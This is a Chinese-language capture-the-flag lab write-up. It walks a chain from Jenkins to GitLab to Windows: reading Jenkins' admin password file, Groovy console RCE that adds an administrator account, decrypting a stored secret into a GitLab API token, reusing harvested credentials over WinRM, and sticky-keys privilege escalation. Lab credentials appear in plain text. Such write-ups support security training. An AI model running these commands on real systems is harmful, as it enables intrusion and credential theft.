flag01

在 80 端口的 wp 下面有个 www.zip。

tools/content-log.php 下面有个文件读取。

权限很高，能直接读到 flag。应该是 xp 起的

flag02

8080 下面有个 jenkins，读取 jenkins 的密码：

1
C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

510235cf43f14e83b88a9f144199655b

然后 admin:510235cf43f14e83b88a9f144199655b登录。

我记得这里之前打 ciscn 决赛的时候遇到过，当时直接走 pipeline CI 这种格式 rce 的。这里又看了一眼别人的方法，在/manage/script下面用 groovy 的语法实现 RCE：

1
println("whoami".execute().text)

1
2
println("net user natro92 123qwe!@# /add".execute().text)
println("net localgroup administrators natro92 /add".execute().text)

rdp 能直接连接。

172.22.14.16 GitLab
172.22.14.31 XR-ORACLE
172.22.14.46 XR-0923

说是 jenkins 配置了 gitlab，找 gitlab api token 利用。

卧槽这他妈不就是去年国赛的题吗，我日原来他们早就打过是吧。

{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}

解密：

1
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

glpat-7kD_qLH2PiQv_ywB9hz2

然后用 api 获取 gitlab 的 git 仓库。

1
curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"

刚才的 internal-secret 库里面有账号密码，里面就有XR-0923的。

XR-0923 | zhangshuai | wSbEajHzZs

因为是 Remote Desktop Users 和 Remote Management Use 组，所以可以用 winrm 登录。（5895 和 5896 端口开启）

proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

这里就多了一个还原文件和目录的SeRestorePrivilege的权限。直接 ACL 修改文件，编辑注册表。类似放大镜提权。这里直接将 cmd.exe 替换 sethc.exe 用粘滞键启用 sethc 提权。

cd C:\Windows\System32

加下账号。重新登陆。

这里猕猴桃是不是哪有问题。好像是版本有点低。上官网下个新版就 ok 了。

只打过 administrators 组的 ntdsutil 的卷影拷贝，这里显然不能用。

总结

  • 非 Administrator 下的卷影拷贝
  • SeRestorePrivilege 提权
  • Jenkins RCE
  • gitlab api 利用
